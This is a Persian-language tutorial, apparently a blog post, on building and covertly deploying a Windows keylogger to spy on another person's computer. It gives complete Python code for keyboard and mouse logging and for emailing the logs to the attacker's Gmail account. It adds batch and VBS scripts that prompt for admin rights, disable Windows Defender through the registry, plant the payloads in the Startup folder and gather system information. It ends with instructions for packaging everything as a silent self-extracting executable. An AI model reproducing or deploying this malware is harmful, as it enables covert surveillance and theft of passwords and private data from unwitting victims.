خیلی وقت ها ما میخواهیم که در کامپیوتر شخص دیگه ای فضولی کنیم و رمز ها چیزی که مینویسه و چیز هایی شبیه این را از کامپیوتر طرف مقابل بدون اینکه بفهمه استخراج کنیم این جاست که کیلاگر به کمک ما میاد امروز داخل این مطلب میخواهیم یک کیلاگر بنویسیم که تمام کلیک های ماوس و کیبورد شخص را در قالب یک فایل txt میسازه و برای ما در ایمیل ارسال میکنه بدون اینکه شخص چیزی بفهمه و یا حتی قابل ردگیری باشه.
نکته بسیار مهم در ساخت این کیلاگر اینه که اکثر آنتی ویروس ها کیلاگر ها را به راحتی تشخیص میدهند و اون ها را حذف میکنند پس ما یک اسکریپت برای خاموش کردن آنتی ویروس ارائه میکنیم دقت کنید که این عملیات باید کاملا مخفیانه اجرا شود من برای اجرای مخفیانه این عملیات از اسکریپت های پیش فرض ویندوز که ویروس تشخیص داده نمیشوند استفاده میکنم(vbs و batch).
نکته مهم دیگه اینکه فقط امنیت آنتی ویروس پیش فرض ویندوز قابل دور زدن است و برای آنتی ویروس های دیگه (درصورتی که روی سیستم شخص مقابل نصب شده باشند)راه پیشرفته تری نیاز است که در این مقاله نمیگنجد.
و نکته دیگر اینکه تک تک فاصله ها را در کد در نظر بگیرید چرا که با عقب و جلو نوشتن یک کلمه ممکن است کد به درستی کار نکند و در خروجی گرفتن دچار مشکل بشوید
در تمام طول نوشتن کیلاگر هم آنتی ویروس خودتون را خاموش کنید
برای نوشتن کیلاگر کیبورد نیاز به نصب کتابخانه pynput داریم که با کد زیر در cmd میشه نصبش کرد:
pip install pynput
بعد از اون به کد زیر نیاز داریم:
from pynput.keyboard import Listener , Key #در اینجا از کتابخانه پای ان پوت بخش های کیبورد و لیستنر و کی را ایمپورت کردیم import logging #این کتابخانه برای خروجی گرفتن از فایل پایتون ماست log_dir = "D:" #در اینجا به ازای مقدار لاگ دایرکتوری هر مسیر مشخصی را میخواهید بین دو " قرار بدهید تا فایل خروجی در آنجا ذخیره شود توجه کنید که / نباید در آخر آدرس بیاید logging.basicConfig(filename = (log_dir + "\windowsLog.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s') #و اول آن\باشد txt هر نام که دوست دارید قرار بدهید فقط پسوند آن حتما \windowslog.txt به ازای مقدار def on_press(key): #تعریف میکنیم on_press یک تابع به نام logging.info(str(key)) #که کیلاگر ماست را استرینگ میکنیم(key) مقدار with Listener(on_press=on_press) as lstn: #میتوانید مقدار دلخواه را وارد کنید ولی در سطر بعد نیز باید آن را تغییر دهید lstn به ازای lstn.join() #تابع تعریف شده را صدا میزند تا اجرا شود
خب حالا تقریبا کیلاگر کیبورد آماده شده ولی به طور مخفی اجرا نمیشه و در صورت بستن پنجره اجرا کیلاگر هم متوقف میشه درصورتی که ما میخواهیم در پس زمینه و به طور مخفی اجرا بشه و از اون جایی که اپ ما کنسول بیس نوشته شده میتونیم با یه طرفند هم فایل پایتون با پسوند py را به exe تبدیل کنیم و هم برنامه در حین اجرا مخفی و در پس زمینه کار کنه.
برای این کار کتابخانه auto-py-to-exe را نیاز داریم برای اینکار کد زیر را در cmd وارد کنید:
pip install auto-py-to-exe
بعد از نصب کتابخانه کافیه به مسیر زیر در فایل اکسپلورر برید:
C:\Users\your_username\AppData\Local\Packages\PythonSoftwareFoundation.Python.3.9_qbz5n2kfra8p0\LocalCache\local-packages\Python39\Scripts
در این مسیر فایل auto-py-to-exe.exe را بیابید و اجرا کنید.
پنجره ای به صورت زیر باز میشه و مراحل را مو به مو اجرا کنید:
1-در بخش اسکریپت لوکیشن Brows را انتخاب کنید و فایل پایتون خود را انتخاب کنید.
2-در بخش one file گزینه one directory را به one file تغییر بدهید
3-در بخش کنسول ویندو گزینه console based را به windows based تغییر بدهید در بخش آیکون اگر آیکون خاصی مد نظر دارید با پسوند ico وارد کنید دکمه convert .py to .exe را بزنید و منتظر بمانید تا خروجی گرفتن تمام شود
4-در نهایت یک فایل exe به شما در :
C:\Users\youruser\AppData\Local\Packages\PythonSoftwareFoundation.Python.3.9_qbz5n2kfra8p0\LocalCache\local-packages\Python39\Scripts\output
که ممکن است بسته به نوع پایتون و محل نصب آن تقریبا متفاوت باشد تحویل داده میشود که به حالت مخفی و در پس زمینه اجرا خواهد شد ولی دقت کنید که آنتی ویروس ها به راحتی کیلاگر ها را تشخیص میدهند و سریعا آن ها را حذف میکنند.
برای نوشتن کیلاگر ماوس نیز تقریبا به همان روش کیلاگر کیبورد عمل میکنیم و به کتابخانه pynput نیاز داریم
بعد از نصب کتابخانه های مورد نیاز یه و فایل جدید پایتون میسازیم و به کد زیر نیاز داریم
from pynput import mouse #از کتابخانه پای ان پوت بخش ماوس را ایمپورت میکنیم import logging #این کتابخانه برای خروجی گرفتن از فایل پایتون ماست log_dir = "D:" #در اینجا همان مسیری که در کیلاگر کیبورد وارد کردید را وارد کنید logging.basicConfig(filename = (log_dir + "\windowsLog.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s') #در اینجا همان فایلی که در کیلاگر کیبورد انتخاب کردید را انتخاب کنید def mouse_log (x , y ,button ,pressed): #تعریف میکنیم mouse_log یک تابع با نام logging.info(str(x , y ,button ,pressed)) # مختصات x و yدر اینجا چهار مورد را از ماوس خروجی میگیریم که هر کدام را میتوان به دلخواه حذف کرد ماوس و فشار دادن یا رها کردن pressed کلید ماوس (راست کلیک یا چپ کلیک یا هر کلیک دیگر) و button کلیک ماوس را ثبت میکنند def mouse_start(): #تعریف میکنیم mouse_start یک تابع با نام with mouse.Listener(on_click=mouse_log) as lstn: #مانند کیلاگر کیبورد عمل میکنیم lstn.join() #خروجی را برای چاپ در فایل اجرا میکنیم mouse_start() #اسکریپت را اجرا میکنیم
حالا دوباره مانند کیلاگر کیبورد باید پنجره برنامه را مخفی کنیم و مانند کیلاگر کیبورد عمل میکنیم
برای این کار کتابخانه auto-py-to-exe را نیاز داریم برای اینکار کد زیر را در cmd وارد کنید و اگر قبلا این کتابخانه نصب شده از این مرحله صرف نظر کنید:
pip install auto-py-to-exe
بعد از نصب کتابخانه کافیه به مسیر زیر در فایل اکسپلورر برید:
C:\Users\seyed\AppData\Local\Packages\PythonSoftwareFoundation.Python.3.9_qbz5n2kfra8p0\LocalCache\local-packages\Python39\Scripts
در این مسیر فایل auto-py-to-exe.exe را بیابید و اجرا کنید.
پنجره ای به صورت زیر باز میشه و مراحل را مو به مو اجرا کنید:
1-در بخش اسکریپت لوکیشن Brows را انتخاب کنید و فایل پایتون خود را انتخاب کنید.
2-در بخش one file گزینه one directory را به one file تغییر بدهید
3-در بخش کنسول ویندو گزینه console based را به windows based تغییر بدهید در بخش آیکون اگر آیکون خاصی مد نظر دارید با پسوند ico وارد کنید دکمه convert .py to .exe را بزنید و منتظر بمانید تا خروجی گرفتن تمام شود
4-در نهایت یک فایل exe به شما در :
C:\Users\youruser\AppData\Local\Packages\PythonSoftwareFoundation.Python.3.9_qbz5n2kfra8p0\LocalCache\local-packages\Python39\Scripts\output
که ممکن است بسته به نوع پایتون و محل نصب آن تقریبا متفاوت باشد تحویل داده میشود که به حالت مخفی و در پس زمینه اجرا خواهد شد ولی دقت کنید که آنتی ویروس ها به راحتی کیلاگر ها را تشخیص میدهند و سریعا آن ها را حذف میکنند.
برای این کار باید ایتدا یک ایمیل از گوگل با پسوند gmail.com داشته باشیم که ترجیحا برای لاگین کردن در جایی از آن استفاده نکرده باشیم به همراه رمز آن را داشته باشیم.
سپس باید ورود با تایید هویت دو مرحله ای را غیرفعال کنید و سپس وارد سایت زیر شوید و دسترسی با امنیت کمتر را برای همان ایمیل به خصوص که در نظر گرفته اید غیرفعال کنید :
دسترسی به برنامه با امنیت کمتر (google.com)
سپس کتابخانه email را باید با کد زیر که در cmd وارد میشود نصب کنیم
pip install email
سپس فایل پایتون جدیدی باز کنید و کد های زیر را در آن جایگذاری کنید(از اونجایی که کد طولانی توضیحات خاصی نمینویسم و فقط جاهایی که باید چیزی را عوض کنید مینویسم):
import smtplib #این کتابخانه پیش فرض در پایتون 3 نصب شده from email.mime.text import MIMEText from email.mime.multipart import MIMEMultipart from email.mime.base import MIMEBase from email import encoders email_user = 'your_email@gmail.com' #آدرس ایمیلی که تایید هویت دو مرحله ای غیر فعال و دسترسی به برنامه با امنیت کمتر در آن غیر فعال شده را جای یور ایمیل جایگذاری کنید email_send = 'send_mail_to@gmail.com' #آدرس ایمیلی که میخواهید بهش ارسال بشه را جایگذاری کنید میتونید از همون آدرس اول برای ارسال استفاده کنید و در واقع از خودتون برای خودتون فایل را ارسال کنید میتونید هم یه ایمیل دیگه که مال خودتونه را وارد کنید email_password = 'your_password' # پسورد آدرس ایمیلی که تایید هویت دو مرحله ای غیر فعال و دسترسی به برنامه با امنیت کمتر در آن غیر فعال شده را وارد کنید subject = 'Keylogger' msg = MIMEMultipart() msg['From'] = email_user msg['To'] = email_send msg['mozo'] = subject #موضوع ایمیل را انتخاب کنید mozo به جای body = 'Here is the keylogger.' #پیامی که میخواهید در ایمیل نوشته شود را وارد کنید msg.attach(MIMEText(body,'plain')) filename = 'D:\windowslog.txt' #آدرسی را که در موقع ساخت کیلاگر کیبورد و ماوس داده اید را به اضافه اسم فایل وارد کنید attachment = open('D:\windowslog.txt', 'rb') #آدرسی را که در موقع ساخت کیلاگر کیبورد و ماوس داده اید را به اضافه اسم فایل وارد کنید part = MIMEBase('application', 'octet-stream') part.set_payload((attachment).read()) encoders.encode_base64(part) part.add_header('Content-Disposition', "attachment; filename= "+filename)
msg.attach(part) text = msg.as_string() server = smtplib.SMTP('smtp.gmail.com', 587) server.starttls() server.login(email_user, email_password) server.sendmail(email_user, email_send, text) server.quit()
حالا دوباره مانند کیلاگر کیبورد باید پنجره برنامه را مخفی کنیم و مانند کیلاگر کیبورد عمل میکنیم
برای این کار کتابخانه auto-py-to-exe را نیاز داریم برای اینکار کد زیر را در cmd وارد کنید و اگر قبلا این کتابخانه نصب شده از این مرحله صرف نظر کنید:
pip install auto-py-to-exe
بعد از نصب کتابخانه کافیه به مسیر زیر در فایل اکسپلورر برید:
C:\Users\seyed\AppData\Local\Packages\PythonSoftwareFoundation.Python.3.9_qbz5n2kfra8p0\LocalCache\local-packages\Python39\Scripts
در این مسیر فایل auto-py-to-exe.exe را بیابید و اجرا کنید.
پنجره ای به صورت زیر باز میشه و مراحل را مو به مو اجرا کنید:
1-در بخش اسکریپت لوکیشن Brows را انتخاب کنید و فایل پایتون خود را انتخاب کنید.
2-در بخش one file گزینه one directory را به one file تغییر بدهید
3-در بخش کنسول ویندو گزینه console based را به windows based تغییر بدهید در بخش آیکون اگر آیکون خاصی مد نظر دارید با پسوند ico وارد کنید دکمه convert .py to .exe را بزنید و منتظر بمانید تا خروجی گرفتن تمام شود
4-در نهایت یک فایل exe به شما در :
C:\Users\youruser\AppData\Local\Packages\PythonSoftwareFoundation.Python.3.9_qbz5n2kfra8p0\LocalCache\local-packages\Python39\Scripts\output
که ممکن است بسته به نوع پایتون و محل نصب آن تقریبا متفاوت باشد تحویل داده میشود که به حالت مخفی و در پس زمینه اجرا خواهد شد ولی دقت کنید که آنتی ویروس ها به راحتی کیلاگر ها را تشخیص میدهند و سریعا آن ها را حذف میکنند.
تا اینجا موفق شدیم که سه فایل exe که هر کدام عمل خاصی انجام میدهند به دست آوریم اعمالی که در این مرحله انجام میدهیم را میشد در خود پایتون هم نوشت ولی به دلیل ویژگی های امنیتی حتی در صورتی که آنتی ویروس غیرفعال بود هم مسدود میشدیم
در این مرحله ما تنها میتوانیم آنتی ویروس پیش فرض ویندوز را که بسیار قوی میباشد از کار بندازیم ولی در صورتی که آنتی ویروس دیگری رو سیستم نصب شده باشه هیچ کاری نمیتونیم انجام بدهیم
به تریتیب با من پیش بیاید تا کیلاگر نهاییمون را سر هم کنیم
مراحل را مرحله به مرحله و دقیق پیش بروید:
1-اول یک فایل txt بسازید و کد های زیر را توش جایگذاری کنید
:loop ::در این قسمت تغییری ایجاد نکنید SYSTEMINFO>>D:\windowslog.txt ::اسم و مسیر فایل خودتون که در کیلاگر ها گذاشتید را بزارید D:\windowslog.txt به جای ::این قطعه کد اطلاعات و نام سیستم هدف را در فایل میگذاره تا با سیستم های دیگه قاطی نشه TIMEOUT 10 /NOBREAK ::در این قسمت تغییری ایجاد نکنید "C:\Users\Public\publicpass\uploader.exe" ::در این قسمت تغییری ایجاد نکنید TIMEOUT 600 /NOBREAK ::این قسمت مدت زمان صبر بین ارسال لاگ ها به ایمیل را به ثانیه تنظیم میکنه تا بر فرض مثال به ایمیلتون هر یک ثانیه یه لاگ ارسال نشه و خیلی منطقی که نخواهیم هر ثانیه کل لاگ ها را ارسال کنه و میلیارد ها ایمیل شلوغ و به هم ریخته و نامنظم ایجاد کنه :: از 1 تا 99999 به ثانیه تنظیم کنید که پیشنهاد من 600 یعنی 1 دقیقه هست TIMEOUT شما میتونید جلوی goto loop ::در این قسمت تغییری ایجاد نکنید
حالا فایل را سیو کنید و از نوت پد بیاید بیرون و نام فایل را به uploderscript.cmd یا هر چیزی میخواهید تغییر بدهید فقط حتما پسوند را از txt به cmd تغییر بدهید و اینکه تقریبا تمام اسم ها در این آموزش دلخواه هستند و فقط پسوند آنها مهم است و من از این به بعد دلخواه بودن این موارد را بیان نمیکنم خودتون بعدا نام ها را در فایل های دیگه هم بسته به چیزی که اسم گذاری کردید تغییر بدهید پیشنهاد من اینه که برای به وجود نیامدن مشکل اسم ها را دقیقا مثل من بزارید
ولی اگر میدونید حرفه ای هستید میتونید اسم ها را هم عوض کنید ولی به مراتب در همه فایل ها باید تغییراتی ایجاد کنید.
2- یک فایل txt بسازید و برید داخلش بنویسید:
CreateObject("Wscript.Shell").Run "C:\Users\Public\publicpass\uploderscript.cmd",0,false
حالا پسوند را به vbs و نام را به Run تغییر بدید یعنی Run.vbs بازم میگم برای راحتی خودتون نام ها را تغییر ندید و اصلا و ابدا پسوند ها را تغییر ندید
این قطعه کد میاد و یه سری فایل های مربوط به آپلود را که نمیشد مخفیشون کرد به صورت مخفی اجرا میکنه
3-دوباره یک فایل txt بسازید و در اون کد زیر را وارد کنید و دست به هیچی به غیر از همون یک تیکه که کامنت گذاشتم نزنید:
@echo off call :isAdmin if %errorlevel% == 0 ( goto :run ) else ( echo Requesting administrative privileges... goto :UACPrompt ) exit /b :isAdmin fsutil dirty query %systemdrive% >nul exit /b :run mkdir "D:\wim\disk\metal\virus\keylogger" ::در خط بالا باید جای دایرکتوری نوشته شده دایرکتوری که داخل فایل پایتون برای ذخیره فایل تکست دادید را بنویسید دقت کنید اگر این کار را نکنید پایتون خطا میده و کلا کدتون را با ایمیل و همه چیز لو میده REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 00000001 xcopy "C:\Users\Public\publicpass\Run.vbs" "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup" xcopy "C:\Users\Public\publicpass\log.exe" "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup" xcopy "C:\Users\Public\publicpass\mouse.exe" "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup" timeout 4 /nobreak %windir%\System32\shutdown.exe -r exit /b :UACPrompt echo Set UAC = CreateObject^("Shell.Application"^) > "%temp%\getadmin.vbs" echo UAC.ShellExecute "cmd.exe", "/c %~s0 %~1", "", "runas", 1 >> "%temp%\getadmin.vbs" "%temp%\getadmin.vbs" del "%temp%\getadmin.vbs" exit /B`
اسم و پسوند فایل را به first.bat تغییر بدید میتونید اسم را چیز دیگه ای بزارید که به مراتب باید در همه بخش های همه فایل ها بازنگری کنید ولی نباید پسوند را تغییر بدید.
4-فایل exe که کیلاگر کیبورد بود را به log.exe تغییر نام دهید
5-فایل exe که کیلاگر ماوس بود را به mouse.exe تغییر نام دهید
6-فایل exe که برای بخش آپلود لاگ بود را به uploader.exe تغییر نام دهید
7-تمام فایل های زیر را که ساخته بودیم را به یک پوشه خالی منتقل کنید(بستگی به اسم هایی که گذاشتید میتونه متفاوت باشه من اون چیزی که تو مقاله توضیح دادم را نوشتم):
8-نرم افزار winrar را از لینک زیر نصب کنید و کرک کنید و یا اگر این نرم افزار را از قبل نصب دارید از این مرحله بگذرید (یه نکته نسخه پورتابل را نصب نکنید و اینکه خداوکیلی اگر فارسی نصب کردید برید پاک کنیدش نسخه انگلیسی را نصب کنید فارسیش اصلا خوب نیست???):
دانلود WinRAR 6.10.3 Final + Farsi + Portable فشرده سازی فایل (soft98.ir)
9-حالا که وین رار نصبه تمام فایل های موجود تو پوشه را با هم انتخاب کنید میتونید با ماوستون این کار را انجام بدید یا با گرفتن کلید کنترل یکی یکی فایل ها را انتخاب کنید.
10-حالا روی یکی از فایل های انتخاب شده راست کلیک کنید و دنبال گزینه ای به نام add to archive بگردید و روی آن کلیک کنید و اگر ویندوز شما نسخه 11 میباشد ابتدا گزینه show more options را انتخاب کنید وسپس دنبال add to archive بگردید.
11-حالا طبق تصویر زیر گزینه create sfx archive بگردید و تیک آن را فعال کنید و نام فایل مورد نظر برای خروجی نهایی را انتخاب کنید به طور مثال من نام فایل را keylogger.exe قرار داده ام و تاکید میکنم میتوانید نام فایل را تغییر دهید ولی پسوند باید همان exe بماند.
12-طبق تصویر به تب Advanced بروید و روی sfx options کلیک کنید.
13-در همان تب اول یعنیGeneral طبق تصویر زیر آدرس زیر را جایگزین کنید:
C:\Users\Public\publicpass
14-به تب Setup بروید و طبق تصویر زیر متن first.bat را در بخش Run after extraction بنویسید.
15-حالا به تب Modes بروید و طبق تصویر زیر سایلنت مود را بر روی Hide all تنظیم کنید.
16-طبق تصویر زیر به تب Update بروید و آپدیت مود را روی Extract and replace files تنظیم کنید و اور رایت مود را بر روی Overwrite all files تنظیم کنید.
17-اگر آیکون خاصی مد نظر دارید به تب text and icon بروید و از بخش Load sfx logo from the file آیکون خود را برای فایل exe نهایی انتخاب کنید گزینه های دیگر به دلیل ماهیت مخفی اجرا شدن ویروس ما کاربرد ندارند.
18-حال دکمه ok را فشار دهید و در صفحه بعدی هم دکمه ok را فشار دهید.
دکمه ok را بزنید
دوباره دکمه ok را بزنید
19-تمام حالا کافیه به پوشه ای که فایل ها را داخلش ریخته بودید برید و میبینید که یک فایل exe جدید اونجا به وجود اومده که اون ویروس کیلاگر نهایی و کاملا اصولی شماست کافیه در سیستم هدف آنتی ویروس را خاموش کنید و بعد از اون ویروس ما اجرا بشه و شخص هدف ما ران از ادمینستریتور خودکاری که براش ارسال میشه را قبول کنه تا ویروس ما عمل کنه و هر ده دقیقه یکبار(میتونید طبق توضیحات اسکریپت ها کم یا زیاد تر کنید این تایم را)لاگ ارسال میشه پیشنهاد میکنم رو سیستم خودتون تست نکنید چون بعد از اینکه ران از ادمینستریتور را قبول کنید سطح امنیت سیستم شما از صفر هم تقریبا کمتر میشه.
برای اجرا باید آنتی ویروس موقتا خاموش شده باشه و اگر از برنامه نویسی سررشته داشته باشید احتمالا تا الان فهمیدید که وقتی فایل exe نهایی کیلاگر را اجرا میکنید ازتون درخواست دسترسی ادمین میکنه در صورتی که قبول نکنید کلا عملیات را کنسل میکنه ولی اگر قبول بکنید آنتی ویروس خاموش میشه و دیگه قابل روشن کردن نیست(بعد از اولین ریستارت و فقط برای آنتی ویروس پیش فرض ویندوز)و فایلهایی که نوشتیم جایگذاری میشوند سر جاهای خاص خودشون و سیستم خودکار ریستارت میشه فایل های مورد نیاز ما در پوشه استارت آپ ویندوز کپی شدند و به محض روشن شدند ویندوز اجرا میشوندو بعد از اون کاربر دیگه هیچی نمیبینه و بدون اینکه بفهمه برای ما فایل های لاگ به صورت خودکار ارسال میشه برای تشخیص اینکه کدوم لاگ از کدوم کامپیوتر به ایمیل ما ارسال شده هم گزینه ای قرار دادیم تا مشخصات سیستم را در فایل لاگ ما قرار بده این مشخصات تمام چیز هایی هستند که در بخش about ویندوز دیده میشوند و تعدادی چیز های اضافه تر از جمله آی پی و اطلاعات داخلی ویندوز.
امیدوارم این پست به دردتون خورده باشه ببخشید اگر طولانی شد نیاز بود که یه سری مباحث گفته بشه تا یه کیلاگر کاملا عالی و بی نقص از آب در بیاریم اگر خوشتون اومد ممنون میشم پست را لایک کنید تا از من یه حمایتی بشه?
پایان